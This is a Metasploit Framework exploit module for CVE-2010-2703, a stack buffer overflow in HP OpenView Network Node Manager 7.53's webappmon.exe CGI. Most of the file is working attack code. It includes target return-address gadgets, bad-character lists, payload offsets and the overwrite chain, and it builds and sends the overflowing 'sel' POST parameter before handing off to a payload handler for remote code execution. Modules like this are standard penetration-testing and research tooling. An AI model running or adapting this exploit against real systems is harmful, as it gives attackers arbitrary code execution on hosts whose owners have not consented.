rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/webappmon.exe', :pattern => /Hewlett-Packard Development Company/ }

  include Msf::Exploit::Remote::HttpClient
  #include Msf::Exploit::Remote::Seh

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'HP OpenView Network Node Manager execvp_nc Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53
        prior to NNM_01207 or NNM_01206 without the SSRT100025 hotfix. By specifying a long 'sel'
        parameter when calling methods within the 'webappmon.exe' CGI program, an attacker can
        cause a stack-based buffer overflow and execute arbitrary code.

        This vulnerability is not triggerable via a GET request due to limitations on the
        request size. The buffer being targeted is 16384 bytes in size. There are actually two
        adjacent buffers that both get overflowed (one into the other), and strcat is used.

        The vulnerable code is within the "execvp_nc" function within "ov.dll" prior to
        v 1.30.12.69. There are no stack cookies, so exploitation is easily achieved by
        overwriting the saved return address or SEH frame.

        This vulnerability might also be triggerable via other CGI programs, however this was
        not fully investigated.
      } ,
      'Author'         =>
        [
          'Shahin Ramezany <shahin[at]abysssec.com>',  # MOAUB #6 PoC and binary analysis
          'sinn3r',
          'jduck'   # Metasploit module
        ],
      'License'      => MSF_LICENSE,
      'References' =>
        [
          [ 'CVE', '2010-2703' ],
          [ 'OSVDB', '66514' ],
          [ 'BID', '41829' ],
          [ 'ZDI', '10-137' ],
          [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02286088' ]
        ],
      'Payload'     =>
        {
          'Space'    => 1024, # 16384 buffer..
          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x24\x2c\x3b\x60",
          'DisableNops' => true,
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => "seh",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Platform' => 'win',
      'Targets'     =>
        [
          [ 'HP OpenView Network Node Manager 7.53 w/NNM_01206',
            {
              'Ret'     => 0x5a02aacf, # pop edx/pop ebp/ret - in ov.dll (v1.30.12.29)
            }
          ],
          [ 'HP OpenView Network Node Manager 7.53 (Windows 2003)',
            {
              'Ret'     => 0x71c069dd, # pop edx/pop ecx/ret - in ws2_32.dll v5.2.3790.3959
            }
          ],
          [ 'Debug Target',
            {
              'Ret'     => 0xdeadbeef, # crasher
            }
          ]
        ],
      'DisclosureDate' => '2010-07-20'))
  end

  def exploit
    print_status("Trying target #{target.name}...")

    cgi = '/OvCgi/webappmon.exe'

    #
    # [ char CommandLine[16384] ][ char Parameters[16384] ]
    #
    # The first buffer gets smashed into the second, and a strcat is used on the second as well.
    # Therefore, we get an addative overflow.
    #

    # Parameters before strcat
    param_beg = "std \\\\.\\pipe\\OVSystem\\stdout\\0000038c00000001 \\\\.\\pipe\\OVSystem\\stderr\\0000038c00000001 "

    # CommnadLine before / after strcat
    cmd_beg = "OVcmd "
    cmd_beg << param_beg
    cmd_beg << "ping.exe -n 3 \""
    cmd_end = "\"  "

    # Other actions include: rping demandPoll natping locateRoute
    # And more...
    action = 'ping'

    # The buffer size is 16384, but we need to send enough extra so that we can still
    # overwrite the saved return address etc..
    bufsz = 16384 + param_beg.length

    # These addresses are within ov.dll
    ptr_to_zero = 0x5a066fff
    ptr_to_nonzero = 0x5a06706f
    ptr_to_ppr = target.ret
    ptr_to_ret = target.ret + 2

    payload_off = 578 # re-used pointer on the stack
    fixret_off = 16394
    fixret = [
      ptr_to_ppr,
      # stay alive til ret
      ptr_to_zero,
      ptr_to_nonzero
    ]
    # ret slide down to within 2 pops :)
    ((0x40 / 4) - 3).times {
      fixret << ptr_to_ret
    }
    # use the ppr to jump the last two, and go to the ptr
    fixret << ptr_to_ppr
    fixret = fixret.pack('V*')

    buf = ''
    buf << rand_text(bufsz - cmd_end.length)

    buf[fixret_off, fixret.length] = fixret

    # Put the payload in.
    buf[payload_off, payload.encoded.length] = payload.encoded

    # Slice off the start (so pattern_offset returns offset from beginning
    buf.slice!(0, cmd_beg.length)

    res = send_request_cgi({
      'uri'          => cgi,
      'method'      => "POST",
      'vars_post' =>
        {
          'ins' => 'nowait',
          'sel' => buf,
          'act' => action
        }
    }, 3)

    if res and res.code != 502
      print_error("Eek! We weren't expecting a response, but we got one")
    end

    handler

  end
end